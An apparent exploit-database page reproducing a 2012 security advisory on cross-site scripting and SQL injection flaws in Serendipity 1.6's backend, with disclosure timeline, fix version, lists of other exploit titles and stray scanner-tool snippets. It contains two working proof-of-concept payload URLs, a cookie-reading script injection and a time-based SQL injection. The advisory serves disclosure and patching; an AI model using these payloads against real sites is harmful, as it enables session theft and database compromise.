Menu

Search for hundreds of thousands of exploits

"S9Y Serendipity 1.6 - 'Backend' Cross-Site Scripting / SQL Injection"

Author

Exploit author

"Stefan Schurtz"

Platform

Exploit platform

php

Release date

Exploit published date

2012-05-08

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Advisory:		Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:		KORAMIS-ADV2012-001
Contact:		security@koramis.de
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Serendipity 1.6
Vendor URL:		http://www.s9y.org
Vendor Status:		fixed
CVE-ID:			CVE-2012-2331,CVE-2012-2332

==========================
Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

==================
Technical Details:
==================

# Cross Site-Scripting (CVE-2012-2331)
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

# SQL-Injection (CVE-2012-2332)
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

=========
Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

===========
References:
===========

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2014-02-07 "S9Y Serendipity 1.7.5 - 'Backend' Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2013-03-30 "WordPress Plugin Feedweb - 'wp_post_id' Cross-Site Scripting" webapps php "Stefan Schurtz"
2013-01-09 "WebsiteBaker Addon Concert Calendar 2.1.4 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-12-24 "Hero Framework - users/login 'Username' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-12-24 "Hero Framework - 'search?q' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-09-02 "Admidio 2.3.5 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-08-18 "SaltOS - 'download.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-07-09 "MGB - Multiple Cross-Site Scripting / SQL Injections" webapps php "Stefan Schurtz"
2012-05-19 "PHP Address Book 7.0.0 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-05-17 "PHP Address Book 7.0 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-05-08 "S9Y Serendipity 1.6 - 'Backend' Cross-Site Scripting / SQL Injection" webapps php "Stefan Schurtz"
2012-04-29 "Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-03-28 "KnFTPd 1.0.0 - 'FEAT' Denial of Service (PoC)" dos windows "Stefan Schurtz"
2012-03-28 "WordPress Plugin Integrator 1.32 - 'redirect_to' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-21 "CMSimple 3.3 - 'index.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Advanced Search Multiple Field SQL Injections" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Advanced Search Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Search Field Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-10 "PHP Address Book 6.2.12 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-02-22 "ContentLion Alpha 1.3 - 'login.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-01-16 "BoltWire 3.4.16 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "phpVideoPro 0.8.x/0.9.7 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "ATutor 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "Beehive Forum 101 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-05 "SQLiteManager 1.2.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-05 "SQLiteManager 1.2.4 - 'main.php?dbsel' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-01-05 "VertrigoServ 2.25 - 'extensions.php' Script Cross-Site Scripting" webapps php "Stefan Schurtz"
2011-12-26 "Nagios Plugins check_ups - Local Buffer Overflow (PoC)" dos linux "Stefan Schurtz"
2011-12-20 "Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection" webapps php "Stefan Schurtz"
2011-12-16 "Seotoaster - SQL Injection" webapps php "Stefan Schurtz" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected